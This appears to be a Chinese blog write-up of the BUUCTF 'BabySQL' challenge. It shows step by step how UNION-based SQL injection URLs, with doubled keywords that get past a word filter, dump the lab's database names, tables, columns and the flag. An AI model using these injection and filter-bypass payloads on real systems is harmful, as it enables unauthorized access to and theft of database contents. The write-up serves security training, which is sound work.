[buuctf]/[极客大挑战 2019]BabySQL 1

页面上提示输入会被严格过滤,这里我们就要留意一下,经常被过滤掉的几个词

首先测试闭合方式。

http://cec6e5ef-7407-453b-9993-609691edcfb4.node5.buuoj.cn:81/check.php?username=1'&password=1

6f60d1211fa641e691494bf118b28787.png

这里单引号出现报错,猜测闭合方式是单引号。

下一步,进步确认闭合方式,正常步骤应该输入username=1' and 1=1 --q &password=1

但是,出现了以下报错。

fe2c93bec3d7464bb8314822a0f7e254.png

 结合出题者提示,猜测前面的“and”可能被过滤掉了。

可以通过双写绕过

http://cec6e5ef-7407-453b-9993-609691edcfb4.node5.buuoj.cn:81/check.php?username=1' aandnd 1=1 -- q&password=1

26f5c0c6d1154c59a670533ada2c519a.png

进一步确认了闭合方式。

然后进行列数判断,又出现类似报错。or和by也被过滤了。

(被过滤的词:and,or,by,union,select,from,where都可以用双写绕过)

http://cec6e5ef-7407-453b-9993-609691edcfb4.node5.buuoj.cn:81/check.php?username=1' order by 4 -- q&password=1

6892bff8d56a46468d2a3f285dc11bb4.png

 继续双写绕过

http://cec6e5ef-7407-453b-9993-609691edcfb4.node5.buuoj.cn:81/check.php?username=1' oorrder bbyy 4 -- q&password=1

695846128bee48e99bfa5989d6e0bad5.png

 把4改成3再试一遍,得有3列

0b0414286e5c4f539d330effd12e92e5.png然后在对显示位进行判断

http://cec6e5ef-7407-453b-9993-609691edcfb4.node5.buuoj.cn:81/check.php?username=1' uniunionon seselectlect 1,2,3 -- q&password=1

fde62f25571944eb930a346bda769ffd.png

接下来就是逐步的爆库,爆表,爆字段,爆内容。

http://0faac226-7a27-48ce-89b5-5a57876d2c1e.node5.buuoj.cn:81/check.php?username=1' ununionIon seselectLect 1,(selselectect group_concat(schema_name) frfromom infoorrmation_schema.schemata),3 -- q&password=1

518460ab2e84434092045a7915d3ae5e.png

 

http://cec6e5ef-7407-453b-9993-609691edcfb4.node5.buuoj.cn:81/check.php?username=1' ununionIon seselectLect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schEma.tables whwhereere table_schema='ctf'),3 -- q&password=1

acfad536b74c49fa8a916b50984aabfa.png

 

http://cec6e5ef-7407-453b-9993-609691edcfb4.node5.buuoj.cn:81/check.php?username=1' ununionIon seselectLect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schEma.columns whwhereere table_schema='ctf' aandnd table_name='Flag' ),3 -- q&password=1

fedff5e8fa854d1eaa067fa2f609a3a4.png

 

http://cec6e5ef-7407-453b-9993-609691edcfb4.node5.buuoj.cn:81/check.php?username=1' ununionIon seselectLect 1,(selselectect group_concat(flag) frfromom Flag),3 -- q&password=1

8c02267757be470395c51927c4e1e605.png这里出现报错,说不存在geek.Flag。根据上面我们知道存在geek这个库,和Flag这个表。但Flag这个表在ctf库下,并不在geek库下。所以可以将Flag改成ctf.Flag,表示查询数据库ctf下Flag表。

http://cec6e5ef-7407-453b-9993-609691edcfb4.node5.buuoj.cn:81/check.php?username=1' ununionIon seselectLect 1,(selselectect group_concat(flag) frfromom ctf.Flag),3 -- q&password=1

b70ab22381eb403cb15299878e51c08e.png得flag。

 flag{e92ac9af-d555-45ac-8376-b291c904626b}

这里使用的是联合注入。如果还有其他方式注入,欢迎和我交流~~

如有错误,说辞不恰当的地方,请见谅。欢迎纠错~~

小白一个~~

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值